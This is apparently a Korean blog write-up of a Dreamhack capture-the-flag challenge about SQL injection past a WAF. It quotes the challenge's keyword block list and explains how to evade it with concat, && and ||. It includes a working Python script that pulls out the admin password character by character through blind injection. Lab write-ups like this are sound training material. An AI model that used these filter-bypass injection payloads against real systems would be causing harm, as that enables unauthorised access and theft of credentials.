CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
sql 파일은 딱히 달라진 것이 없어 보인다.
admin 계정의 비밀번호가 flag이다.
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
이 부분만 달라진 것 같은데 대소문자 우회가 안되고, 공백 필터링이 심해졌다.
문자열은 대소문자 대신에 concat을 이용해서 우회하고 and나 or은 &&, ||로 우회해야 한다.
union select에서 사이 공백을 대체할 만한게 없기 때문에 구문은 하나만 써야 한다.
그래서 그냥 uid=''||uid=concat('ad','min')으로 하고 &&로 substr(upw,1,1)='D'이런식을 한글자씩 구해야 할 것 같다.
이렇게 하면 된다.
import requests, string
url = "http://host3.dreamhack.games:9471/?uid="
charset = string.ascii_lowercase + string.digits + '}'
flag = 'DH{'
idx = 4
while True:
for ch in charset:
payload = "'||uid=concat('ad','min')%26%26substr(upw,{idx},1)='{ch}';%23".format(idx=idx, ch=ch)
if "<pre>admin</pre>" in requests.get(url+payload).text:
flag += ch
idx += 1
print(flag)
break
if flag[-1]=='}':
break
자동화 코드를 이용해 flag를 구할 수 있다.
'웹해킹' 카테고리의 다른 글
드림핵 NoSQL-CouchDB 롸업 (0) | 2023.12.03 |
---|---|
NoSQL (0) | 2023.12.03 |
드림핵 sql injection bypass WAF 롸업 (0) | 2023.12.03 |
SQL Injection-2 (0) | 2023.12.02 |
드림핵 error based sql injection 롸업 (0) | 2023.12.02 |